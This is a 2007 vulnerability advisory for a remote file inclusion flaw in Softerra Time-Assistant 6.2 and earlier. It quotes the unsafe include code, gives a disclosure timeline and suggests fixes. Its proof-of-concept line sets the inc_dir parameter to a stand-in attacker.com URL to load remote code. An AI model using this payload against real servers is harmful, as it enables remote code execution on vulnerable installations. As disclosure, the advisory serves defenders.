Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vuln

                                                ____________________   ___ ___ ________
\\_   _____/\\_   ___  /   |   \\_____    
 |    __)_ /      //    ~    /   |    
 |        \\     \\___    Y    /    |    
/_______  / \\______  /\\___|_  /\\_______  /
        /         /       /         / 

                                        .OR.ID
ECHO_ADV_80$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_80$2007]&nbsp;Softerra&nbsp;Time-Assistant&nbsp;<=&nbsp;6.2&nbsp;(inc_dir)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;March,&nbsp;29th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv80-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;Time-Assistant&nbsp;&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;<=&nbsp;6.2&nbsp;Time-Assistant&nbsp;Standard,&nbsp;Time-Assistant&nbsp;Enterprise,&nbsp;Time-Assistant&nbsp;light
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.time-assistant.com
Description&nbsp;:

Time-Assistant&nbsp;-&nbsp;Web&nbsp;based&nbsp;time&nbsp;tracking&nbsp;software&nbsp;for&nbsp;Internet/Intranet&nbsp;featuring&nbsp;employee&nbsp;timesheets&nbsp;and&nbsp;various&nbsp;reports&nbsp;and&nbsp;project&nbsp;management&nbsp;tools&nbsp;that&nbsp;include&nbsp;salary&nbsp;calculation,&nbsp;invoices&nbsp;and&nbsp;expenses,&nbsp;online&nbsp;services&nbsp;and&nbsp;PDA&nbsp;package.&nbsp;Time-Assistant&nbsp;is&nbsp;professional&nbsp;timesheet&nbsp;software&nbsp;for&nbsp;your&nbsp;business.&nbsp;It&nbsp;is&nbsp;a&nbsp;daily&nbsp;time&nbsp;tracking&nbsp;solution&nbsp;designed&nbsp;to&nbsp;reduce&nbsp;the&nbsp;drudgery&nbsp;of&nbsp;recording,&nbsp;analyzing&nbsp;and&nbsp;reporting&nbsp;associated&nbsp;with&nbsp;everyday&nbsp;working&nbsp;routine.&nbsp;With&nbsp;Time-Assistant&nbsp;you&nbsp;can&nbsp;easily&nbsp;manage&nbsp;employee&nbsp;timesheets&nbsp;and&nbsp;expenses,&nbsp;calculate&nbsp;salaries,&nbsp;prepare&nbsp;project&nbsp;estimates,&nbsp;get&nbsp;invoices&nbsp;based&nbsp;on&nbsp;personal&nbsp;or&nbsp;client&nbsp;work&nbsp;rates.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;lib/timesheet.class.php&nbsp;:&nbsp;&nbsp;
&nbsp;&nbsp;	
----------------lib/timesheet.class.php-------------------
...
include&nbsp;($inc_dir&nbsp;.&nbsp;\"database.inc.php\");
include&nbsp;($lib_dir&nbsp;.&nbsp;\"sqlstorage.class.php\");
include&nbsp;($lib_dir&nbsp;.&nbsp;\"lib.php\");
include&nbsp;($lib_dir&nbsp;.&nbsp;\"timesheet.lib.php\");
...
----------------------------------------------------------------


Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;\"inc_dir\"&nbsp;and&nbsp;\"lib_dir\"&nbsp;parameter&nbsp;in&nbsp;lib/timesheet.class.php&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;include&nbsp;files.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;include&nbsp;arbitrary&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external&nbsp;resources.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;\"register_globals\"&nbsp;is&nbsp;enabled.




Poc/Exploit:
~~~~~~~~~

http://www.target.com/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil?


Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;off&nbsp;register_globals


Notification:
~~~~~~
-&nbsp;28-03-2007&nbsp;bugs&nbsp;found
-&nbsp;28-03-2007&nbsp;vendor&nbsp;contacted&nbsp;but&nbsp;no&nbsp;response
-&nbsp;29-03-2007&nbsp;advisory&nbsp;released
---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

&nbsp;